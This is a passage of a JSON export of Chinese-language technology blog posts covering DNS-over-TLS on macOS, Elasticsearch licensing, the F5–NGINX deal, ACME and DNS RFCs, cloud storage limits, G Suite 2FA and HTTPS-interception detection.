    "body": "主要是參考「<a href=\"https://phiffer.org/writing/dns-over-tls-on-macos/\">Configuring DNS-over-TLS on macOS</a>」這篇的方法做的：\r\n\r\n<pre>brew install knot-resolver\r\necho \"policy.add(policy.all(policy.TLS_FORWARD({{'1.1.1.1', hostname='1.1.1.1'}})))\" | tee -a /usr/local/etc/kresd/config\r\nsudo brew services restart knot-resolver</pre>\r\n\r\n然後 <code>127.0.0.1</code> 就有 DNS resolver 可以用了，接下來就是把系統的 DNS 改過去...",
    "title": "在 Mac 上跑 DNS-over-TLS"
  },
  {
    "id": "8801",
    "body": "把各種動畫效果時間減少主要是因為要降低對「<a href=\"https://zh.wikipedia.org/wiki/%E7%9F%AD%E6%9C%9F%E8%AE%B0%E5%BF%86\">短期記憶</a>」的影響，尤其年紀大了以後特別有感覺：\r\n\r\n<blockquote>短期記憶（英語：Short-term memory，也稱為primary memory或者active memory）是記憶的一種類型，它可以在頭腦中讓少量資訊保持啟用狀態，在短時間內可以使用。短期記憶的持續時間（在沒有複述或者啟用的情況下）以秒計算。與長期記憶相比，短期記憶對資訊的儲存時間較短，資訊儲存的容量也很有限。關於短期記憶的容量，一個常常參照的數字是7 ± 2 個元素。</blockquote>\r\n\r\n在這個基礎下，半秒鐘到一秒鐘的動畫效果對於短期記憶的影響其實非常大，所以花了些時間找看看怎麼關掉...\r\n\r\n後來在「<a href=\"https://apple.stackexchange.com/questions/17929/how-can-i-disable-animation-when-switching-desktops-in-lion\">How can I disable animation when switching desktops in Lion?</a>」這篇翻到，裡面主要有兩個方法，一個是用 command line 的方法，但我測了不會動 (在 10.14.3 上)，另外一個方法是已經被整合進系統了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/yXWykBB.webp\" /><img src=\"https://i.gslin.com/imgur/yXWykBB.jpg\" alt=\"\" /></picture>\r\n\r\n改了以後快不少，但要習慣一下...",
    "title": "增加工作效率：關閉 Mac 上切換視窗時的動畫效果"
  },
  {
    "id": "8804",
    "body": "看到「<a href=\"https://hackaday.com/2019/03/09/speedrunning-windows-95/\">Speedrunning Windows 95</a>」這篇，連裝 <a href=\"https://en.wikipedia.org/wiki/Windows_95\">Windows 95</a> 都可以有 speedrun：\r\n\r\n<blockquote>Now, there’s a world record speedrun, installing Windows 95B in just 1 minute 10.9 seconds.</blockquote>\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/GbTptOHZDmk\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen></iframe>\r\n\r\n可以看到是在 VirtualBox 裡面裝的，這樣看起來也跟電腦速度有關... (把所有東西都塞到 memory 裡面？)",
    "title": "連安裝 Windows 95 都可以 Speedrun..."
  },
  {
    "id": "8805",
    "body": "出自規格書裡面的「7.2.14 Abstract Equality Comparison」，我都是遇到再去查，不過如果有人想要理解與背起來的，可以參考這邊：「<a href=\"https://felix-kling.de/js-loose-comparison/\">JavaScript \"loose\" comparison step by step</a>」。\r\n\r\n<blockquote>The comparison x == y, where x and y are values, produces true or false. Such a comparison is performed as follows:\r\n\r\nIf Type(x) is the same as Type(y), then\r\nReturn the result of performing Strict Equality Comparison x === y.\r\nIf x is null and y is undefined, return true.\r\nIf x is undefined and y is null, return true.\r\nIf Type(x) is Number and Type(y) is String, return the result of the comparison x == ! ToNumber(y).\r\nIf Type(x) is String and Type(y) is Number, return the result of the comparison ! ToNumber(x) == y.\r\nIf Type(x) is Boolean, return the result of the comparison ! ToNumber(x) == y.\r\nIf Type(y) is Boolean, return the result of the comparison x == ! ToNumber(y).\r\nIf Type(x) is either String, Number, or Symbol and Type(y) is Object, return the result of the comparison x == ToPrimitive(y).\r\nIf Type(x) is Object and Type(y) is either String, Number, or Symbol, return the result of the comparison ToPrimitive(x) == y.\r\nReturn false.</blockquote>\r\n\r\n這邊方便的點在於給了網頁操作，在看半天不知道為什麼時，可以看出是哪條規則跟自己理解不同...",
    "title": "JavaScript 的 == 條列式比較"
  },
  {
    "id": "8806",
    "body": "<a href=\"https://www.elastic.co/\">Elasticsearch</a> 的主體是 <a href=\"https://en.wikipedia.org/wiki/Apache_License_2.0\">Apache License 2.0</a>，但 <a href=\"https://www.elastic.co/products/stack\">Elastic Stack</a> (以前叫做 X-Pack) 則是需要付費使用的功能，其中包括了不少跟安全有關的項目在裡面，所以其實有不少人抱怨過產品凌駕安全性的問題，像是「<a href=\"https://github.com/elastic/elasticsearch/issues/31639\">ES 6.3: X-Pack Licence is \"Expired\" on New Install</a>」這篇官方回應的：\r\n\r\n<blockquote>A basic license is not entitled to security features. To try out security you need to use a trial license or obtain a subscription.</blockquote>\r\n\r\n<a href=\"https://aws.amazon.com/\">AWS</a> 這次則是出手實作了他們自己的版本，叫做 <a href=\"https://opendistro.github.io/\">Open Distro for Elasticsearch</a>：「<a href=\"https://aws.amazon.com/blogs/aws/new-open-distro-for-elasticsearch/\">New – Open Distro for Elasticsearch</a>」。\r\n\r\n如果你看文章說明，他列出來的 feature 全部都是在 <a href=\"https://www.elastic.co/products/stack\">Elastic Stack</a> 這頁上列出來的項目，針對性的意思其實很清楚了：\r\n\r\n<blockquote>In addition to Elasticsearch and Kibana, the first release includes a set of advanced security, event monitoring & alerting, performance analysis, and SQL query features (more on those in a bit).</blockquote>\r\n\r\n而前面提到的安全性功能也包括在內：\r\n\r\n<blockquote>Security – This plugin that supports node-to-node encryption, five types of authentication (basic, Active Directory, LDAP, Kerberos, and SAML), role-based access controls at multiple levels (clusters, indices, documents, and fields), audit logging, and cross-cluster search so that any node in a cluster can run search requests across other nodes in the cluster.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/KWbyrDP.webp\" /><img src=\"https://i.gslin.com/imgur/KWbyrDP.jpg\" alt=\"\" /></picture>\r\n\r\n目前支援 <a href=\"https://www.docker.com/\">Docker</a> Image 與 <a href=\"https://en.wikipedia.org/wiki/RPM_Package_Manager\">RPM</a>，之後看看有沒有機會出 deb 版本：\r\n\r\n<blockquote>In addition to the source code repo, Open Distro for Elasticsearch and Kibana are available as RPM and Docker containers, with separate downloads for the SQL JDBC and the PerfTop CLI.</blockquote>\r\n\r\n這樣應該會讓 Elasticsearch 的服務模式受到很大的影響，來看 <a href=\"https://www.nasdaq.com/symbol/estc/real-time\">Elastic N.V. Ordinary Shares Real Time Stock Quotes</a> 這邊會掉多少...",
    "title": "AWS 對 Elastic Stack 實作免費的開源版本 Open Distro for Elasticsearch"
  },
  {
    "id": "8807",
    "body": "把過程記錄下來而已...\r\n\r\n前陣子在測試 <a href=\"https://www.startpage.com/\">StartPage</a> (一個後端還是 <a href=\"https://www.google.com/\">Google</a> 的搜尋引擎)，想看看在沒有個人資訊的前提下是不是能提供夠好的搜尋品質。為了方便切換確認，還寫了 <a href=\"https://github.com/gslin/startpage-shortcuts\">startpage-shortcuts</a> 這個套件，讓我能用快速鍵將同樣的關鍵字傳進 Google。\r\n\r\n用了幾個禮拜下來，發現搜尋品質其實很差，有時候甚至跳不出搜尋結果來？(可能是被 Google 擋下？) 先換回 <a href=\"https://www.duckduckgo.com/\">DuckDuckGo</a> 好了...",
    "title": "從 StartPage 換回 DuckDuckGo..."
  },
  {
    "id": "8808",
    "body": "<a href=\"https://www.f5.com/\">F5</a> 宣佈併購 <a href=\"https://www.nginx.com/\">NGINX Inc.</a>，雙方的新聞稿都出來了：「<a href=\"https://www.f5.com/company/news/press-releases/f5-acquires-nginx-to-bridge-netops-devops\">F5 Acquires NGINX to Bridge NetOps &amp; DevOps, Providing Customers with Consistent Application Services Across Every Environment</a>」、「<a href=\"https://www.nginx.com/blog/nginx-joins-f5/\">NGINX to Join F5: Proud to Finish One Chapter and Excited to Start the Next</a>」。\r\n\r\n<blockquote>SEATTLE and SAN FRANCISCO – F5 Networks, Inc. (NASDAQ: FFIV) and NGINX today announced a definitive agreement under which F5 will acquire all issued and outstanding shares of privately held NGINX for a total enterprise value of approximately $670 million, subject to certain adjustments.</blockquote>\r\n\r\n印象中 NGINX Inc. 的文章常常在批評 F5 這類 load balancer 太貴，現在是在演哪齣戲... 然後這不知道對 open source community 來說是不是好下場，也許如果真的發現風頭不對的話就會有人 fork？(<a href=\"https://aws.amazon.com/\">AWS</a>？他們最近好像對這個議題頗敏感 XDDD)",
    "title": "F5 買下 NGINX Inc."
  },
  {
    "id": "8809",
    "body": "這邊講的是因為 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 所發明的 <a href=\"https://en.wikipedia.org/wiki/Automated_Certificate_Management_Environment\">ACME</a> 協定，可以協助自動化發憑證的協定。\r\n\r\n剛剛看到「<a href=\"https://www.rfc-editor.org/info/rfc8555\">Automatic Certificate Management Environment (ACME)</a>」這個頁面，上面標 <code>PROPOSED STANDARD</code>，但點進去的 txt 檔開頭則是 <code>Standards Track</code> 了：\r\n\r\n<pre><small>Internet Engineering Task Force (IETF)                         R. Barnes\r\nRequest for Comments: 8555                                         Cisco\r\nCategory: Standards Track                             J. Hoffman-Andrews\r\nISSN: 2070-1721                                                      EFF\r\n                                                             D. McCarney\r\n                                                           Let's Encrypt\r\n                                                               J. Kasten\r\n                                                  University of Michigan\r\n                                                              March 2019</small></pre>\r\n\r\n不知道是不是兩邊不同步 (或是我對流程有誤會？)，但這有一個標準文件可以參考了...",
    "title": "ACME，RFC 8555"
  },
  {
    "id": "8810",
    "body": "<a href=\"https://github.com/pirate/ArchiveBox\">pirate/ArchiveBox</a> 這個專案：\r\n\r\n<blockquote>The open source self-hosted web archive. Takes browser history/bookmarks/Pocket/Pinboard/etc., saves HTML, JS, PDFs, media, and more...</blockquote>\r\n\r\n他的想法是用 command line 就可以保存：\r\n\r\n<pre>echo 'https://example.com' | ./archive</pre>\r\n\r\n然後提供一個網頁介面存取，類似於 <a href=\"https://www.archive.org/\">Internet Archive</a> 的技術架構？\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/drt96gT.webp\" /><img src=\"https://i.gslin.com/imgur/drt96gT.jpg\" alt=\"\" /></picture>\r\n\r\n不過 Internet Archive 因為在美國有拿到豁免權 (像是這篇所說的：「<a href=\"https://archive.org/about/dmca.php\">Internet Archive Gets DMCA Exemption To Help Archive Vintage Software</a>」)，還是有他的方便性...",
    "title": "保存網頁的工具 ArchiveBox"
  },
  {
    "id": "8811",
    "body": "看到 <a href=\"https://github.com/marcan/takeover.sh\">marcan/takeover.sh</a> 這個專案：\r\n\r\n<blockquote>Wipe and reinstall a running Linux system via SSH, without rebooting. You know you want to.</blockquote>\r\n\r\n還蠻有趣的專案 (實用性質應該不高，主要是展示可行性)，程式很短，就一個 C program 以及一個 shell script，但裡面用到很多外部工具 (像是 <a href=\"https://www.busybox.net/\">BusyBox</a> 的執行檔)，作者建議有興趣的人可以先用 virtual machine 玩...\r\n\r\n這個專案讓我想到更複雜的 <a href=\"https://www.daemonology.net/depenguinator/\">Depenguinator</a>，把 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 灌成 <a href=\"https://www.freebsd.org/\">FreeBSD</a> 的專案，不過這個專案也已經很久沒更新了...",
    "title": "只透過 SSH 重灌系統的 takeover.sh"
  },
  {
    "id": "8814",
    "body": "@import url('https://fonts.googleapis.com/css?family= Armata&display=swap');\n.entry-content img {\n  margin-bottom: 1rem;\n  margin-top: 1rem;\n}\n.header-image img {\n  margin-bottom: 2rem;\n  margin-top: 2rem;\n  width: 100%;\n}\n.site {\n  margin: 0;\n}\n.site-branding {\n  margin-bottom: 0;\n}\n.site-header {\n  padding-bottom: 0;\n  padding-top: 0;\n}\n.site-inner {\n  max-width: unset;\n}\na:visited {\n  color: grey;\n}\nbody {\n  font-family: Armata, sans-serif;\n}\nbody:not(.custom-background-image):after, body:not(.custom-background-image):before {\n  display: none;\n}\nblockquote {\n  font-style: normal;\n}",
    "title": "twentysixteen"
  },
  {
    "id": "8819",
    "body": ".entry-content a, #sidebar a {\n  color: #333;\n}\n\n.entry-content a:visited, #sidebar a:visited {\n  color: darkgrey;\n}\n\ncode {\n  background: lightgrey;\n}",
    "title": "twentyfifteen"
  },
  {
    "id": "8821",
    "body": "以 <a href=\"https://www.spotify.com/\">Spotify</a> 向歐盟提出不公平競爭的投訴，並且發出新聞稿：「<a href=\"https://newsroom.spotify.com/2019-03-13/consumers-and-innovators-win-on-a-level-playing-field/\">Consumers and Innovators Win on a Level Playing Field</a>」。\r\n\r\n重點在於 Spotify 服務透過蘋果的平台會有 30% 的抽成，但 Apple Music 因為自家服務而不需要：\r\n\r\n<blockquote>To illustrate what I mean, let me share a few examples. Apple requires that Spotify and other digital services pay a 30% tax on purchases made through Apple’s payment system, including upgrading from our Free to our Premium service. If we pay this tax, it would force us to artificially inflate the price of our Premium membership well above the price of Apple Music. And to keep our price competitive for our customers, that isn’t something we can do.</blockquote>\r\n\r\n不過裡面好像沒提到超過一年後的費用會降到 15% (參考「<a href=\"https://developer.apple.com/app-store/subscriptions/\">Auto-renewable Subscriptions</a>」)，應該會是蘋果向歐盟回應的重點？",
    "title": "Spotify 向歐盟投訴 Apple Music 的不公平競爭"
  },
  {
    "id": "8822",
    "body": "在「<a href=\"https://dev.to/winduptoy/a-javascript-free-frontend-2d3e\">A JavaScript-Free Frontend</a>」這邊看到的，目前看起來還是很辛苦啊...\r\n\r\n首先是可以看到他對 <a href=\"https://asana.com/\">Asana</a> 的抱怨：\r\n\r\n<blockquote>First, I live in a rural area with only 2 Mbit/s down Internet connection. With a warm cache it takes 14 seconds for the Asana UI to become usable. Second, you can see below that the app is comprised of over 10MB of uncompressed JavaScript. That is a huge amount of code to execute. How is this acceptable?</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ZpHbxeC.webp\" /><img src=\"https://i.gslin.com/imgur/ZpHbxeC.jpg\" alt=\"\" /></picture>\r\n\r\n現在前端頁面的 JavaScript 愈來愈大，除了下載時間之外，其實最卡的應該還是瀏覽器要處理編譯的時間。作者試著用現有的元素開發他的產品 <a href=\"https://slimvoice.co/\">Slimvoice</a>，然後把心得整理出來... 其實還蠻考驗對 CSS 的基本功，有些東西是你根本不知道存在，另外有些東西是支援度的問題。\r\n\r\n這個概念應該就是十多年前倡導的 <a href=\"https://en.wikipedia.org/wiki/Unobtrusive_JavaScript\">Unobtrusive JavaScript</a>，不過在這幾年前端框架雨後春筍般冒出來後就不太有人在管了 (一堆站台關掉 js 就不會動)，而這也大幅「促進」了瀏覽器對 js 執行速度的改善...",
    "title": "儘量不使用 JavaScript 的前端設計..."
  },
  {
    "id": "8823",
    "body": "<strong>Update</strong>：弄錯國家了，是荷蘭...\r\n\r\nCookie Wall 指的是不同意接受 cookie policy 就無法使用網站的限制，像是這樣的東西：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/KeCfeF1.webp\" /><img src=\"https://i.gslin.com/imgur/KeCfeF1.jpg\" alt=\"\" /></picture>\r\n\r\n在「<a href=\"https://techcrunch.com/2019/03/08/cookie-walls-dont-comply-with-gdpr-says-dutch-dpa/\">Cookie walls don’t comply with GDPR, says Dutch DPA</a>」這邊看到荷蘭認為 Cookie Wall 不符合 <a href=\"https://en.wikipedia.org/wiki/General_Data_Protection_Regulation\">GDPR</a> 的規範：\r\n\r\n<blockquote>Cookie walls that demand a website visitor agrees to their internet browsing being tracked for ad-targeting as the “price” of entry to the site are not compliant with European data protection law, the Dutch data protection agency clarified yesterday.</blockquote>\r\n\r\n後面應該會有訴訟，重點會在這...",
    "title": "荷蘭認為 Cookie Wall 不符合對 GDPR 的規範"
  },
  {
    "id": "8825",
    "body": "<a href=\"https://www.dropbox.com/\">Dropbox</a> 決定限制免費版的裝置數量，最多只能有三個裝置同步：「<a href=\"https://www.theverge.com/2019/3/14/18265574/dropbox-3-device-limit-free-accounts-plus-professional\">Dropbox adds three-device limit for free users</a>」，對應的頁面是「<a href=\"https://help.dropbox.com/account/computer-limit\">Is there a limit to the number of devices I can link to my account?</a>」。\r\n\r\n既有的裝置不受限，但無法再增加：\r\n\r\n<blockquote>If you're a Basic user and you linked more than three devices prior to March 2019, all of your previously linked devices will remain linked, but you can’t link additional devices.</blockquote>\r\n\r\n另外一個選擇是付費版，最低是 1TB USD$9.99/month (年繳是 USD$99/year)。\r\n\r\n看起來像是養肥了要殺，不過這個領域相關的技術應該是夠成熟，而且也不會用到什麼特別的功能，應該會去看看其他平台的情況，像是 <a href=\"https://www.sync.com/\">Sync</a> 與 <a href=\"https://www.pcloud.com/\">pCloud</a>。\r\n\r\n其中 Sync 有免費版 (空間限制 5GB，付費版 500GB USD$49/year)，不過官方不支援 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a>，有人用 <a href=\"https://www.winehq.org/\">Wine</a> 跑過，但據說穩定性與效能都不太好：「<a href=\"https://wojtek.gustowski.pl/sync-com-in-linux/\">Sync.com in Linux</a>」。\r\n\r\npCloud (500GB EUR$47.88/year) 也是剛剛提到在 Linux 上跑 Sync 的人後來測試的服務，官方有支援 Linux (看起來是透過 <a href=\"https://appimage.org/\">AppImage</a> 包裝)，也許可以測試看看。\r\n\r\n另外一個是自己一直都有在用的 <a href=\"https://syncthing.net/\">Syncthing</a>，不過設定同步的操作上只有 web interface，而且因為是信任架構，需要多台互相設定，沒那麼方便...",
    "title": "Dropbox 免費版限制三個裝置更新..."
  },
  {
    "id": "8826",
    "body": "看到「<a href=\"https://gsuiteupdates.googleblog.com/2019/03/more-control-over-2-step-verification-security-phone-sms.html\">Disable SMS or voice codes for 2-Step Verification for more secure accounts</a>」這邊的說明，<a href=\"https://gsuite.google.com/\">G Suite</a> 的管理員可以將 SMS 與 Voice 強制關閉 (也就是不認為這兩個管道是安全的 <a href=\"https://en.wikipedia.org/wiki/Multi-factor_authentication\">2FA</a>)。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/OkCo76i.webp\" /><img src=\"https://i.gslin.com/imgur/OkCo76i.jpg\" alt=\"\" /></picture>\r\n\r\n主要是因為行動網路一直都不怎麼安全，像是 <a href=\"https://en.wikipedia.org/wiki/General_Packet_Radio_Service\">GPRS</a> 與 <a href=\"https://en.wikipedia.org/wiki/3G\">3G</a> network 使用的 <a href=\"https://en.wikipedia.org/wiki/KASUMI\">KASUMI</a>，或是 downgrade attack (用 2G network)。\r\n\r\n目前 G Suite 登入有提供的 2FA 除了上面這兩個以外，應該還有 <a href=\"https://en.wikipedia.org/wiki/Time-based_One-time_Password_algorithm\">TOTP</a> 與 <a href=\"https://en.wikipedia.org/wiki/Universal_2nd_Factor\">U2F</a> 類的認證方式，這次影響最大的應該是堅持用非智慧型手機的人？這種：\r\n\r\n<img src=\"https://i.gslin.com/imgur/D6UnjyS.jpg\" alt=\"\" />\r\n<small>取自「<a href=\"https://zh.wikipedia.org/wiki/File:Mobile_phone_evolution.jpg\">File:Mobile phone evolution.jpg</a>」</small>",
    "title": "G Suite 的管理員可以關閉簡訊與電話語音的 2FA 了"
  },
  {
    "id": "8827",
    "body": "<a href=\"https://submariner.io/\">Submariner</a> 是連接兩個不同的 <a href=\"https://kubernetes.io/\">Kubernetes</a> 網路層的軟體：「<a href=\"https://submariner.io/\">Cross-Cluster Network Connectivity for Kubernetes</a>」。\r\n\r\n目前還在 alpha 階段 (看 <a href=\"https://github.com/\">GitHub</a> 也可以看出來還很新)，在架構面上是使用 <a href=\"https://en.wikipedia.org/wiki/IPsec\">IPsec</a> 保護流量：\r\n\r\n<blockquote>Submariner is a tool built to connect overlay networks of different Kubernetes clusters. While most testing is performed against Kubernetes clusters that have enabled Flannel/Canal, Submariner should be compatible with any CNI-compatible cluster network provider, as it utilizes off-the-shelf components such as strongSwan/Charon to establish IPsec tunnels between each Kubernetes cluster.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/fP37ZQG.webp\" /><img src=\"https://i.gslin.com/imgur/fP37ZQG.jpg\" alt=\"\" /></picture>\r\n\r\n這等於是試著實作 <a href=\"https://cloud.google.com/\">GCP</a> 的跨區內網架構...",
    "title": "跨群的 Kubernetes 網路層 Submariner"
  },
  {
    "id": "8833",
    "body": "看到 <a href=\"https://www.percona.com/\">Percona</a> 的「<a href=\"https://www.percona.com/blog/2019/03/15/mysql-ripple-first-impression-of-mysql-binlog-server/\">MySQL Ripple: The First Impression of a MySQL Binlog Server</a>」這篇提到了 <a href=\"https://www.google.com/\">Google</a> 放出來的專案 <a href=\"https://github.com/google/mysql-ripple\">mysql-ripple</a>。\r\n\r\n這個軟體的情境是針對有很多 replica (slave) 時的情境，要解決每一個 replica 都會對 master server 產生壓力，算是 binlog 的 cache layer。\r\n\r\nMySQL Ripple 抓了 binlog 下來後就可以模擬成 mysql server (但是只能提供 binlog 服務) 讓 replica 接，在 replica 很多的情境下就可以橫向擴充，而且因為軟體只支援 GTID 模式，所以比較好做 HA 架構 (相對於 filename + position 模式)。\r\n\r\n大概可以歸納出是 write 很多 (所以 binlog 量很大)，但又有大量 replica 需求的情境... 目前好像想不出來有什麼情境可以拿出來用 :o",
    "title": "把 MySQL 的 binlog 功能再拆出來的 mysql-ripple"
  },
  {
    "id": "8834",
    "body": "看到 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 的「<a href=\"https://blog.cloudflare.com/rfc8482-saying-goodbye-to-any/\">RFC8482 - Saying goodbye to ANY</a>」這篇，裡面提到 RFC8482 廢掉了 <code>ANY</code> 查詢：「<a href=\"https://tools.ietf.org/html/rfc8482\">Providing Minimal-Sized Responses to DNS Queries That Have QTYPE=ANY</a>」。\r\n\r\n<blockquote>The Domain Name System (DNS) specifies a query type (QTYPE) \"ANY\".  The operator of an authoritative DNS server might choose not to respond to such queries for reasons of local policy, motivated by security, performance, or other reasons.</blockquote>\r\n\r\n對 Cloudflare 的痛點主要在於營運上的困難，因為 <code>ANY</code> 回應的 UDP packet size 很大，很容易造成放大攻擊：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/IYKqqQ5.webp\" /><img src=\"https://i.gslin.com/imgur/IYKqqQ5.jpg\" alt=\"\" /></picture>\r\n\r\n把拒絕 <code>ANY</code> 查詢變成標準後，讓 DNS provider 手上多了一把武器可以用。",
    "title": "RFC8482 廢掉 DNS 查詢的 ANY query 了..."
  },
  {
    "id": "8844",
    "body": "先前在「<a href=\"https://blog.gslin.org/archives/2018/11/15/8566/aws-%E6%B1%BA%E5%AE%9A%E8%8A%B1%E5%8A%9B%E6%B0%A3%E6%94%AF%E6%8F%B4-openjdk-corretto-%E8%A8%88%E7%95%AB/\">AWS 決定花力氣支援 OpenJDK (Corretto 計畫)</a>」與「<a href=\"https://blog.gslin.org/archives/2019/02/03/8712/amazon-%E7%89%88%E7%9A%84-openjdk-8-%E9%80%B2%E5%85%A5-ga/\">Amazon 版的 OpenJDK 8 進入 GA</a>」後的下一步，就是對 <a href=\"https://en.wikipedia.org/wiki/OpenJDK\">OpenJDK</a> 11 也推出對應的 <a href=\"https://aws.amazon.com/corretto/\">Amazon Corretto</a> 11：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/03/amazon-corretto-11-is-now-generally-available/\">Amazon Corretto 11 is Now Generally Available</a>」。\r\n\r\n這個版本將至少支援到 2024 年 8 月，也就是五年的支援期：\r\n\r\n<blockquote>Long-term support (LTS) for Corretto includes performance enhancements and security updates for Corretto 8 until at least June 2023 at no cost. Updates are planned to be released quarterly. Amazon will provide LTS for Corretto 11 with quarterly updates until at least August 2024.</blockquote>\r\n\r\n不過先前有些軟體測試時發現 OpenJDK 11 上不能跑，這些軟體還是得暫時用 OpenJDK 8 的版本來養...",
    "title": "AWS 的 OpenJDK 11 (Amazon Corretto 11) 推出 General Availability 版"
  },
  {
    "id": "8845",
    "body": "在「<a href=\"https://www.sec.gov/Archives/edgar/data/1568100/000162828019003003/pagerdutys-1.htm\">pagerdutys-1.htm</a>」這邊可以看到 <a href=\"https://www.pagerduty.com/\">PagerDuty</a> 遞出 <a href=\"https://en.wikipedia.org/wiki/Form_S-1\">Form S-1</a> 了，翻了一下 <a href=\"https://techcrunch.com/\">TechCrunch</a> 也有報導：「<a href=\"https://techcrunch.com/2019/03/15/pagerduty-just-filed-its-s-1/\">PagerDuty just filed its S-1</a>」。\r\n\r\nPagerDuty 主要的服務是監控服務回報狀況後的後續流程，在組織大一點的公司會拿來用，不過不怎麼便宜... 印象中服務品質沒有拉開差距，而同質性的服務低他不少價錢。\r\n\r\n有幾個數字可以看，先是估值：\r\n\r\n<blockquote>PagerDuty was valued at $1.3 billion last fall when it closed on $90 million in Series D funding led by T. Rowe Price Associates and Wellington Management. Earlier backers Accel, Andreessen Horowitz  and Bessemer Venture Partners also joined the round, which brought the company’s total funding to $173 million.</blockquote>\r\n\r\n然後 VC 持股 55%：\r\n\r\n<blockquote>According to the S-1, venture investors currently own about 55 percent of the company. Andreessen Horowitz owns the biggest stake, with 18.4 percent of its shares sailing into the IPO. Accel meanwhile owns 12.3 recent, Bessemer owns 12.2 percent, Baseline Ventures owns 6.7 percent, and Harrison Metal owns 5.3 percent.</blockquote>\r\n\r\n以及獲利問題：\r\n\r\n<blockquote>PagerDuty, which employed 500 employees as of last fall, has never been profitable according to its filing, which says it generated a net loss of $38.1 million for the fiscal year ended January 31, 2018. (It saw revenue of $79.6 million during the same period.)</blockquote>\r\n\r\nS-1 文件裡有張圖裡也有相關的營運數字：\r\n\r\n<img src=\"https://i.gslin.com/imgur/ixjNPKY.jpg\" alt=\"\" />",
    "title": "PagerDuty 向 SEC 遞出 S-1 了 (IPO)"
  },
  {
    "id": "8846",
    "body": "<a href=\"https://tails.boum.org/\">Tails</a> 是一個獨立的 <a href=\"https://www.debian.org/\">Debian</a> 作業系統，強調匿名性，裡面有很多環境的預設值是為了避免 IP 位置以及其他資訊洩漏而設計。另外因為是獨立完整的作業系統，可以找台電腦用 USB 開機直接跑起來，避免 OS 被埋木馬的問題 (當然如果硬體有問題的話還是沒辦法)。\r\n\r\n大多數人用 Tails 的人應該還是拿來跑 <a href=\"https://www.torproject.org/\">Tor Browser</a>，不過我在用的時候發現注音輸入法有問題 (大約三年前？)，就跑去開了一張 bug ticket 回報：「<a href=\"https://redmine.tails.boum.org/code/issues/11292\">Bopomofo input for Chinese is not working</a>」，從裡面的討論可以看到中間有 ping 我，但是我忘記回應了... 直到最近動了起來剛好有看到，就抓了 snapshot ISO 幫忙測了一下，畢竟沒幾個用注音的人在上面可以確認 :o\r\n\r\n目前看起來輸入法本身的問題修差不多了，而且有機會在下個版本看到 (或是下下個版本，要看會不會進這次的 merge window)。\r\n\r\n想要測試的人，除了要抓這個版本的 snapshot ISO 外 (在 bug ticket 裡有連結)，在 Tails 開機時，要記得要在 Language 的地方選擇台灣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/WUA0MYL.webp\" /><img src=\"https://i.gslin.com/imgur/WUA0MYL.jpg\" alt=\"\" /></picture>\r\n\r\n開進去後就可以看到注音輸入法了，用 Super + Space 可以切換輸入法：(Super 通常指的是微軟鍵，或是 Mac 右邊的 Command 鍵，因為左邊的 Command 可能被當 Host key 了)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/VKlEqkU.webp\" /><img src=\"https://i.gslin.com/imgur/VKlEqkU.jpg\" alt=\"\" /></picture>\r\n\r\n還有一些小 bug 要另外再處理 (像是切換輸入法的 input focus 會跑掉)，不過比以前完全不能用好多了...",
    "title": "Tails 裡的注音輸入法終於修好了..."
  },
  {
    "id": "8848",
    "body": "在「<a href=\"https://simonwillison.net/2019/Mar/18/visidata/\">VisiData</a>」這篇看到的專案，專案的頁面在「<a href=\"https://visidata.org/\">A Swiss Army Chainsaw for Data</a>」這邊，從 screenshot 可以看出來是 terminal 的檢視工具：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/CgGDn5Y.webp\" /><img src=\"https://i.gslin.com/imgur/CgGDn5Y.jpg\" alt=\"\" /></picture>\r\n\r\n會注意到是因為支援 <code>.xls</code>：\r\n\r\n<blockquote>explore new datasets effortlessly, no matter the format: vd foo.json bar.csv baz.xls</blockquote>\r\n\r\n在 <a href=\"https://visidata.org/man/#loaders\">SUPPORTED SOURCES</a> 這邊可以看到完整的支援清單，居然連 <a href=\"https://en.wikipedia.org/wiki/Pcap\">pcap</a> 也支援，不知道看起來如何 :o",
    "title": "在 Terminal 看資料的 VisiData"
  },
  {
    "id": "8849",
    "body": "這邊講的應該是在 client 端裝了 root certificate 後，網路上的 middle box 就有能力解開 HTTPS 連線看內容，再 proxy 連出去的方式：「<a href=\"https://blog.cloudflare.com/monsters-in-the-middleboxes/\">Monsters in the Middleboxes: Introducing Two New Tools for Detecting HTTPS Interception</a>」，對於有設定 Pinning 的 HTTPS 應該會因為偵測到 certificate 被換掉而不會被監聽，但大多數的應用程式應該沒做這個保護。\r\n\r\n對應的公開網站是 <a href=\"https://malcolm.cloudflare.com/\">MALCOLM</a>，為「Measuring Active Listeners, Connection Observers, and Legitimate Monitors」的縮寫。\r\n\r\n<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 用了幾個方法去分析，像是 <code>User-agent</code> 與 OS 跟支援的 cipher 對不起來的情況就可以猜測是 middle box 的監聽。另外也可以看到 Cloudflare 分析了 middle box 的廠牌，可以看到 <a href=\"https://en.wikipedia.org/wiki/Blue_Coat_Systems\">Blue Coat</a> 應該是目前的大品牌 (但這邊有統計偏差，限制在可以被偵測出來的品牌)。\r\n\r\n其實整體看起來不算低耶... 光是可以確認的部分，整個 Cloudflare 網路上有 10%～20% 的流量其實是有被過濾的？",
